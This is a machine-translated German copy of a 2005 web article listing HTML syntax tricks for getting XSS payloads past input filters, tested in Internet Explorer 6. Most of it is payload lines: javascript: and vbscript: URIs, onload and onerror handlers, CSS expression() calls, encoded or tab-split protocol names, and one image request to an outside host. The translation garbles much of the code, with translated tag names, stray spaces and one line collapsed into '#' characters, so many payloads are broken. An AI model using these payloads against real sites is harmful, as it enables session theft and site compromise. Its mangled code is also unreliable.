This page has been robot translated, sorry for typos if any. Original content here.

Eigenschaften der HTML-Syntax

Schöpfer: Algol , zFailure - letzte Änderungen 13.06.2005

Eine der Hauptmethoden zum Schutz von Websites vor XSS-Schwachstellen ist die Verwendung verschiedener Filter für Benutzereingaben. Dieser Artikel beschreibt die Funktionen der HTML-Syntax, mit denen Sie diese Filter umgehen können.

Es ist zu beachten, dass XSS-Schwachstellen browserabhängig sind. Alle nachfolgenden Beispiele wurden in IE6 getestet. In anderen Versionen oder in anderen Browsern können die Beispiele auch nicht funktionieren. Zum Beispiel ist der Charakter des inversen Apostrophs (`) ein Attributbegrenzer nur in IE. Andere Browser, wie zB Opera, betrachten dieses Symbol in keiner Weise als trügerisch.

  • Begrenzer von Tag-Attributen.
    Zusätzlich zum Raum darf die Symbole verwendet werden: Schrägstrich ( / ), Tabellierung, Zeilenvorschub. Das Trennzeichen darf ausgelassen werden, wenn die vorherige Zugehörigkeit in Anführungszeichen eingeschlossen ist.
     <Bild / src = "1.png" / alt = "Hinweis" / border = "0">
     <Image src = "1.png" alt = "Hinweis" border = "0">
     <Bild
     Src = "1.png"
     Alt = "Hinweis"
     Border = "0">
     <Image src = "1.png" alt = "Hinweis" border = "0">
    
  • Tag Attribute Limiter
    Werte dürfen in Anführungszeichen (doppelt auch einzeln) auch in Apostrophen eingeschlossen werden, nur die allgemeine Erlaubnis ist nicht beschränkt.
     <Bild src = "" alt = "Mein Tipp" border = "0">
     <Bild src = "" alt = 'Mein Tipp' border = "0">
     <Bild src = "" alt = `Mein Tipp" border = "0">
     <Bild src = "" alt = Tip border = "0">
    
  • Zeichencodierungen
    Die Entschlüsselung von Zeichen im Skript erfolgt, bevor es ausgeführt wird:
      <Img src = javascript: alert ("ok")>
     <Img src = Javascript: Alert (& # 039; ok & # 039;)>
     <Img src = & ####################################################################################################################################-
     <a href=javascript:alert(%22ok%22)> klick mich </a> (nur im href- Attribut)
    
    
  • Begrenzer von Zeichenliteralen in Skripten
     <Img src = Javascript: Alert ('Ok')>
     <Img src = javascript: alert ("ok")>
     <Img src = javascript: a = / ok /; alert (a.source)>
     <Img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Bypass filtern einige Zeichen
      <Img src = javascript: i = new / ** / Image (); i.src = 'http: //bla.bla'> ( Platzwechsel mit / ** /)
    
    
  • Methoden zum Ausführen von Skripten
    Mehrere Möglichkeiten zum automatischen Ausführen von Skripten:
      <Script> Alert ('ok') </ script>
     <Script src = 1.js> </ script>
     <Body onLoad = Alert ('ok')>
     <Meta http-equiv = Inhalt aktualisieren = 0; url = javascript: alert ('ok')>
     <Image src = 1.png onload = alert ('ok')>
     <Bild src = javascript: alert ('ok')>
     <Image src = "" onerror = alert ('ok')>
     <Hr style = Hintergrund: url (javascript: alert ('ok')))>
     <Span style = top: Ausdruck (alert ('ok')))> </ span>
     <Span sss = "alert (); this.sss = null" style = top: Ausdruck (eval (this.sss));> </ span> (funktioniert nur einmal) <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <Object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <param name = url value = javascript: alert ('ok')> </ object>
     <Embed src = javascript: alert ('ok'); this.avi>
     <Eingebettet src = javascript: alert ('ok'); this.wav>
     <Iframe src = javascript: alert ('ok')> (nur in IE) <a href=javascript:alert(%22ok%22)> click me </a> (Start nur beim Anklicken des Links) <a href = Javascript: Alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> Klick mich </a> (Start nur beim Anklicken des Links) <br SIZE = "& {alert ('XSS')} "> (nur Netscape 4.x)
    
    
  • Verschiedene Skript-Protokolle, wie man sie schreibt
      <Img src = Javascript: Alert ()>
     <Img src = vbscript: AleRt ()>
     <Img src = JaVasCriPt: Alert ()>
     <Img src = "javascript: alert ()"> (Räume bis zu Javascript)
     
     <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 112 & # 116: Alert ()>
     <Img src = Javascript & # 9: Alert ()>
     <Img src = Javascript & # 10: Alert ()>
     <Img src = Javascript & # 13: Alert ()>
     <Img src = "Javascript
     : Alert () "> (vor dem Doppelpunkt - das Tab-Zeichen)
     
     <Img src = "java
     Scri
     Pt: Ale
     Rt () "> (innerhalb des Wortes Javascript - der Tab-Charakter gibt auch den Wagen zurück)
     
    
  • Einfügen von Skripten in Stil
    Skriptoperatoren im Style- Attribut müssen " \; " teilen.
     <Hr style = 'Hintergrund: url (javascript: alert (' ok 1 ') \; alert (' ok 2 ')) `>
    
  • Spezielle Tags.
      <Image src = "1.png" alt = "" border = "0"> (das Img funktioniert auch auf die gleiche Weise) <plaintext> (alles, was sich nach diesem Tag bewegt, wird als Klartext behandelt - nicht HTML) <Textarea> (alles, was sich nach diesem Tag bewegt, wird als Klartext behandelt - nicht HTML in irgendeiner Weise) <xml> (alles, was sich nach diesem Tag bewegt, wird nicht in irgendeiner Weise angezeigt)
    
    
  • Tabelle der häufig verwendeten Codes:

    Symbol Dezimalcodierung 16. Kodierung * Zeichencodierung URL-Codierung
    " & # 34 & # X22; & Quot; % 22
    " & # 39 & # X27; % 27
    " & Ndash; 96 & # X60; % 60
    <Raum> & # 32 & # X20; +
    <Tab> & # 9 & # X09; % 09
    <Wagenrücklauf> & # 13 & # X0D; % 0D
    = & # 61 & # X3D; % 3D
    < & # 60 & # X3C; & Lt; lt % 3C
    Aufgaben & Ndash; 62 & # X3E; & Gt % 3E
    \ & Ndash; 92 & # X5C; % 5C
    % & # 37 & # X25; % 25
    + & # 43 & # X2B; % 2B
    <Kurzer Bindestrich> & # 173 & # XAD; & Schüchtern % AD
    & & # 38 & # X26; & Amp % 26

    * - In manchen Fällen kann ein Semikolon ausgelassen werden (wenn das Zeichen am Ende der Zeile liegt oder nacheinander mehrere Zeichen in dieser Codierung sind).

    Siehe ähnlich: http://ha.ckers.org/xss.html
  • Jetzt können alle Artikel veröffentlichen
    Versuche es zuerst!
    Artikel schreiben

    Es wird nicht überflüssig für Ihre Freunde, diese Informationen zu lernen, teilen Sie ihren Artikel mit ihnen!

    Mochte es Abonnieren Sie RSS news!
    Sie können auch shram.kiev.ua unterstützen, drücken:
    Expand / Collapse Erweitern / Einklappen mit Kommentaren

    Kommentare

    Erinnern Sie sich daran, dass der Inhalt und der Ton Ihrer Botschaft die Gefühle von echten Menschen verletzen, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen können, auch wenn Sie ihre Meinung nicht teilen, Ihr Verhalten in den Bedingungen der Meinungsfreiheit und Anonymität, die vom Internet bereitgestellt werden, Änderungen Nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare sind vom Index verborgen, Spam wird kontrolliert.
    Darlehen frei mit einer Grenze von 15000 UAH.